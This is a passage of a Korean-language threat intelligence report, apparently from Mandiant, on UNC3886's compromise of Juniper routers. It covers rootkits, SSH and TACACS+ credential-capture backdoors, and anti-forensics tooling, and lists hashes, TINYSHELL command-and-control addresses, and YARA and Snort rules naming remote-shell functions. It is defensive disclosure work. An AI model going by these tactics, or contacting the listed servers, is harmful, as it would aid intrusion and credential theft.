사용자 정의 메시지에는 인터페이스 이름과 논리적 하위 인터페이스가 포함됩니다. 주니퍼 라우팅 장치에서 VLAN ID로 패킷에 태그를 지정하는 대신 하위 인터페이스는 자체 IP 주소, 라우팅 구성 및 잠재적으로 다른 보안 정책을 가진 별개의 인터페이스 역할을 합니다. 그런 다음 인터페이스 인덱스 값은 TCP 또는 UDP인 명령 및 제어 소켓에 대한 setsockopt 호출로 전달됩니다.

Linux 환경에서의 활동

만디언트는 이전 블로그 게시물에서 자세히 설명된 것과 유사한 TTP(전술, 기술 및 절차)와 동일한 멀웨어 및 유틸리티를 UNC3886이 계속해서 활용하는 것을 관찰했습니다.

  • REPTILE 및 MEDUSA(SEAELF 로더 포함)와 BUSYBOX를 포함한 루트킷 및 유틸리티 조합을 사용한 명령 실행 및 지속성.
  • 이전에 언급한 공개적으로 사용 가능한 kubo/injector를 사용하는 대신 맨디언트는 UNC3886이 공개적으로 사용 가능한 wzshiming/sshd 프로젝트를 기반으로 하는 사용자 정의 SSH 서버와 함께 PITHOOK를 배포하여 SSH 인증을 하이재킹하고 SSH 자격 증명을 캡처하는 것을 관찰했습니다. 

  • TACACS+ 데몬 바이너리는 자격 증명 캡처를 위한 유사한 악성 기능을 가진 백도어 버전의 바이너리로 대체되었습니다.

  • 포렌식 방지 목적으로 GHOSTTOWN 악성코드 사용.

맨디언트의 조사에서는 데이터 스테이징 및 유출 증거를 관찰하지 못했습니다.

전망 및 시사점

이 블로그 게시물은 중국 연계 스파이 행위자들이 사용자 정의 악성코드 생태계를 사용하여 네트워킹 인프라를 계속해서 손상시키고 있음을 강조합니다. UNC3886은 이전에 네트워크 엣지 장치에 작전을 집중했지만, 이 활동은 인터넷 서비스 공급자(ISP) 라우터와 같은 내부 네트워킹 인프라도 표적으로 삼고 있음을 보여주었습니다.

맨디언트는 위협 행위자가 TACACS+(Terminal Access Controller Access-Control System) 및 라우터에 대한 접근 권한이 있는 터미널 서버를 포함한 네트워크 인증 서비스를 표적으로 삼아 권한 있는 초기 접근 권한을 얻는 것을 관찰했습니다.

이러한 권한 있는 접근 권한을 통해 위협 행위자는 Junos OS 셸 모드로 들어가 제한된 작업을 수행할 수 있었습니다. 위협 행위자가 취한 추가 조사를 조사하는 것은 독점 네트워크 장치를 분석하는 데 내재된 어려움으로 인해 방해를 받았으며, 이는 아티팩트 획득 및 분석을 위한 새로운 방법을 필요로 했습니다.

맨디언트는 조직에 다음을 권장합니다.

  • 주니퍼 장치 업그레이드 및 보안 검사 실행: 조직은 JMRT에 대한 완화 조치 및 업데이트된 서명이 포함된 최신 이미지로 주니퍼 장치를 업그레이드하고 업그레이드 후 JMRT 빠른 스캔 및 무결성 검사를 실행해야 합니다.
  • 인증 보안: 강력한 다단계 인증(MFA) 및 세분화된 역할 기반 접근 제어(RBAC)를 통해 중앙 집중식 ID 및 접근 관리(IAM) 시스템을 구현하여 네트워크 장치를 관리합니다.
  • 구성 관리: 정의된 템플릿 및 표준에 대한 구성 유효성 검사를 지원하고 편차를 자동으로 수정하거나 수동 개입을 위한 경고를 트리거하는 기능을 갖춘 네트워크 구성 관리를 구현합니다.
  • 향상된 모니터링: 고위험 관리 활동을 해결하고 우선 순위를 지정하며 탐지 효율성을 정기적으로 검토하는 프로세스와 함께 모니터링 솔루션을 구현합니다.
  • 취약점 관리: 덜 알려진 운영 체제의 취약점을 포함하여 네트워크 장치의 취약점에 대한 패치 및 완화를 우선 순위로 지정합니다.
  • 장치 수명 주기 관리: 사전 예방적 모니터링, 자동화된 소프트웨어 업데이트 및 수명 종료(EOL) 교체 계획을 포함하는 장치 수명 주기 관리 프로그램을 구현하여 네트워크 장치가 항상 지원되고 안전하게 유지되도록 합니다.
  • 보안 강화: 엄격한 접근 제어, 네트워크 분할 및 기타 보안 조치를 구현하여 네트워크 장치, 관리 장치 및 네트워크 장치 관리에 사용되는 시스템의 보안 상태를 강화합니다.
  • 위협 인텔리전스: 위협 인텔리전스를 사전 예방적으로 활용하여 새로운 위협에 대한 보안 제어의 효율성을 지속적으로 평가하고 개선합니다.

라우팅 장치 손상은 장기적이고 높은 수준의 중요한 라우팅 인프라에 대한 접근 권한을 부여하고 향후 더 파괴적인 조치를 취할 수 있는 잠재력을 제공하므로 스파이 활동을 목적으로 하는 적의 전술에서 최근 추세입니다. 이러한 중요한 시스템을 보호하고 인터넷의 지속적인 안정성과 보안을 보장하기 위해서는 공동의 노력이 필요합니다.

이 캠페인에 의해 잠재적으로 영향을 받는 조직은 맨디언트의 맞춤형 위협 헌팅 서비스를 이용할 것을 강력히 권고합니다. 맨디언트의 보안 전문가 팀은 숨겨진 위협을 사전에 식별하고 완화하여 보안 상태에 대한 명확성과 확신을 제공할 수 있습니다.

침해 지표

등록된 사용자는 Google 위협 인텔리전스 IOC 컬렉션을 사용할 수 있습니다. Google Security Operations Enterprise+ 고객의 경우 새로운 위협 규칙 팩에 규칙이 릴리스되었으며 이 블로그 게시물에 나열된 침해 지표(IOC)는 적용된 위협 인텔리전스를 사용하여 우선 순위를 지정할 수 있습니다.

호스트 기반 지표

파일이름

악성코드 종류

MD5

SHA1

SHA256

appid

TINYSHELL

2c89a18944d3a895bd6432415546635e

50520639cf77df0c15cc95076fac901e3d04b708

98380ec6bf4e03d3ff490cdc6c48c37714450930e4adf82e6e14d244d8373888

irad

TINYSHELL

aac5d83d296df81c9259c9a533a8423a

1a6d07da7e77a5706dd8af899ebe4daa74bbbe91

5bef7608d66112315eefff354dae42f49178b7498f994a728ae6203a8a59f5a2

jdosd

TINYSHELL

8023d01ffb7a38b582f0d598afb974ee

06a1f879da398c00522649171526dc968f769093

c0ec15e08b4fb3730c5695fb7b4a6b85f7fe341282ad469e4e141c40ead310c3

lmpad

TINYSHELL

5724d76f832ce8061f74b0e9f1dcad90

f8697b400059d4d5082eee2d269735aa8ea2df9a

5995aaff5a047565c0d7fe3c80fa354c40e7e8c3e7d4df292316c8472d4ac67a

oemd

TINYSHELL

e7622d983d22e749b3658600df00296d

cf7af504ef0796d91207e41815187a793d430d85

905b18d5df58dd6c16930e318d9574a2ad793ec993ad2f68bca813574e3d854b

to

TINYSHELL

b9e4784fa0e6283ce6e2094426a02fce

01735bb47a933ae9ec470e6be737d8f646a8ec66

e1de05a2832437ab70d36c4c05b43c4a57f856289224bbd41182deea978400ed

oemd

TINYSHELL

bf80c96089d37b8571b5de7cab14dd9f

cec327e51b79cf11b3eeffebf1be8ac0d66e9529

3751997cfcb038e6b658e9180bc7cce28a3c25dbb892b661bcd1065723f11f7e

lmpad

TINYSHELL

3243e04afe18cc5e1230d49011e19899

2e9215a203e908483d04dfc0328651d79d35b54f

7ae38a27494dd6c1bc9ab3c02c3709282e0ebcf1e5fcf59a57dc3ae56cfd13b4

네트워크 지표

Description

Indicator

TINYSHELL Command and Control server

129.126.109.50:22

TINYSHELL Command and Control server

116.88.34.184:22

TINYSHELL Command and Control server

223.25.78.136:22

TINYSHELL Command and Control server

45.77.39.28:22

TINYSHELL Command and Control server

101.100.182.122:22

TINYSHELL Command and Control server

118.189.188.122:22

TINYSHELL Command and Control server

158.140.135.244:22

TINYSHELL Command and Control server

8.222.225.8:22

탐지

YARA-L 룰

관련 규칙은 Google SecOps Mandiant Intel Emerging Threats 선별된 탐지 규칙 세트에서 사용할 수 있습니다.

  • SEAELF 설치 프로그램 실행

  • GHOSTTOWN 유틸리티 실행

  • REPTILE 루트킷 명령줄 인수 변조

  • REPTILE 루트킷 Cmd 구성 요소 사용

  • REPTILE 루트킷 셸 구성 요소 사용

  • REPTILE 루트킷 숨기기 명령 사용

YARA 룰

rule M_Hunting_PacketEncryptionLayer_1
{
    meta:
        author = "Mandiant"
    strings:
        $pel_1 = "pel_client_init"
        $pel_2 = "pel_server_init"
        $pel_3 = "pel_setup_context"
        $pel_4 = "pel_send_msg"
        $pel_5 = "pel_recv_msg"
        $pel_6 = "pel_send_all"
        $pel_7 = "pel_recv_all"
        $pel_8 = "pel_errno"
        $pel_9 = "pel_context"
        $pel_10 = "pel_ctx"
        $pel_11 = "send_ctx"
        $pel_12 = "recv_ctx"
    condition:
        4 of ($pel_*)
}
rule M_Hunting_TINYSHELL_5
{
    meta:
        author = "Mandiant"
    strings:
        $tsh_1 = "tsh_get_file"
        $tsh_2 = "tsh_put_file"
        $tsh_3 = "tsh_runshell"
        $tshd_1 = "tshd_get_file"
        $tshd_2 = "tshd_put_file"
        $tshd_3 = "tshd_runshell"
    condition:
        all of ($tshd_*) or all of ($tsh_*)
}

Snort/Suricata 룰

alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_1"; 
dsize:>15; content:"|44 31 3A 14 45 95 6A 73|"; offset: 0; depth:8; 
threshold:type limit,track by_src,count 1,seconds 3600; sid:1000000; rev:1; )

alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_2"; 
dsize:>15; content:"|64 11 1A 34 65 B5 4A 53|"; offset: 0; depth:8; 
threshold:type limit,track by_src,count 1,seconds 3600; sid:1000001; rev:1; )

alert icmp any any -> any any ( msg:"M_Backdoor_TINYSHELL_uSarguuS62bKRA0J"; 
content:"|f3 d5 e7 f4 e1 f3 f3 d5 b0 b4 e4 cd d4 c7 b6 cc|"; threshold:type 
limit,track by_src,count 1,seconds 3600; sid:1000002; rev:1; )

alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_0b3330c0b41d1ae2"; 
dsize:>27; content:"|c5 c4 ec 4d|"; offset: 0; depth:4; content:"|a6 04 ed 83 
92 46 ce 40 9a 34 8c 7b 5a d6 e5 0d|"; offset:12; depth:16; threshold:type 
limit,track by_src,count 1,seconds 3600; sid:1000003; rev:1; )
게시 위치